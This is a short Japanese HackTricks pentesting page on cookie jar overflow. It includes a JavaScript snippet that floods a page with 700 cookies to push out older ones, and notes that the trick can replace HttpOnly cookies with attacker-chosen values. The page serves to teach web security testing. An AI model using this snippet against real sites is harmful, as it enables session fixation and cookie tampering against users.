hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
2023-07-07 23:42:27 +00:00

4.6 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ブラウザは、ページごとに保存できるクッキーの数に制限があります。そのため、何らかの理由でクッキーを消去する必要がある場合、最も古いクッキーが削除されるため、クッキージャーをオーバーフローさせることができます。

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

第三者のドメインを指すサードパーティのクッキーは上書きされません。

{% hint style="danger" %} この攻撃は、HttpOnlyクッキーを上書きするためにも使用できます。クッキーを削除してから、任意の値でリセットすることができます

この記事のラボをチェックしてください。 {% endhint %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥